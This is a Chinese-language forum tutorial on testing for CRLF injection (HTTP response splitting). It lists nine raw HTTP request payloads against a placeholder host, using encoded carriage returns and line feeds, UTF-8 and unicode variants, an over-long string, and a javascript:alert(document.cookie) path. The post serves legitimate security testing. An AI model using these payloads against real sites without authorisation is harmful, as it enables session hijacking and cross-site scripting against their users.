找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2796

积分

0

好友

390

主题
发表于 9 小时前 | 查看: 0| 回复: 0

本文主要讲解CRLF(回车换行)注入漏洞的测试方法。在开始具体讲解之前,我们先简要了解什么是CRLF。

CRLF是“回车(Carriage Return)+ 换行(Line Feed)”(\r\n)的简称。在HTTP协议中,HTTP头(Header)与HTTP体(Body)是用两个连续的CRLF来分隔的。浏览器正是根据这两个CRLF来解析并显示HTTP响应内容的。因此,一旦攻击者能够控制HTTP消息头中的字符,并注入恶意的换行符,就有可能注入会话Cookie甚至HTML代码,实现会话劫持或跨站脚本攻击。所以CRLF注入也被称为HTTP响应拆分(HTTP Response Splitting,简称HRS)。

如果你想了解更具体的案例分析,可以参考这个链接:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

预备知识

在进行测试前,需要掌握一些关键的编码知识:

  • \r\n 所对应的URL编码为: %0d%0a ,其ASCII码为 0x0D0x0A
  • 在UTF-8编码中, %E5%98%8A = %0A = \u560a%E5%98%8D = %0D = \u560d
  • 其他常用URL编码:%20 对应空格,%3b 对应 ;%3F对应 %23对应 #

CRLF注入测试方法

以下是针对CRLF注入漏洞的9种常见测试Payload,你可以尝试在HTTP请求头(如参数、路径)中注入它们,观察服务器响应是否被拆分。

1. 注入原始回车换行符 \r\n

尝试在Header参数中直接插入 \r\n,并附带一个测试头,例如 Set-Cookie: Me

GET /Header?Parameter=\r\nKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

2. 注入URL编码的回车换行符 %0D%0A

这是最常用的测试方式,将 \r\n 编码后注入。

GET /Header?Parameter=%0D%0AKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

3. 单独注入回车 %0D 或换行 %0A

有时单独注入其中一个字符也可能成功。

GET /Header?Parameter=%0DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

4. 注入ASCII形式的回车换行符 0x0D0x0A

尝试以ASCII码的文本形式注入。

GET /Header?Parameter=0x0D0x0AKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

5. 注入UTF-8编码的回车换行符 %E5%98%8A%E5%98%8D

利用UTF-8编码的特定字符进行注入。

GET /Header?Parameter=%E5%98%8A%E5%98%8DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

6. 注入Unicode形式的回车换行符 \u560d\u560a

尝试使用Unicode转义序列。

GET /Header?Parameter=\u560d\u560aKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

7. 注入超长字符串

尝试在Header中注入超长字符串(例如7000字节),这可能导致缓冲区溢出或响应截断,间接实现类似于CRLF注入的效果。

GET /Header?Parameter=+++++ 7000 bytes +++++Key: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

8. 注入编码后的特殊字符组合

尝试注入类似 %3F%0D (? + \r)、%23%0D (# + \r)、%3F%0A%23%0A 的组合,某些解析器在处理问号或井号时可能存在问题。

GET /Path%3F%0DKey: V HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

9. 注入特殊格式的路径

尝试注入包含特殊字符和脚本的路径,用于测试更复杂的解析逻辑。

GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com

参考链接

本文部分测试思路参考了以下公开的安全报告与文章,对深入理解CRLF注入漏洞的利用与防御很有帮助:

安全研究需要持续的实践与交流,如果你对这类网络协议层面的漏洞感兴趣,可以到 云栈社区 与更多技术同仁探讨。




上一篇:AI工作台实战:利用Memory、插件、MCP与Skills提升Alma开发效率
下一篇:深入Spring Cloud Feign:声明式服务调用的原理、实战与云原生演进
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-24 16:34 , Processed in 0.233850 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表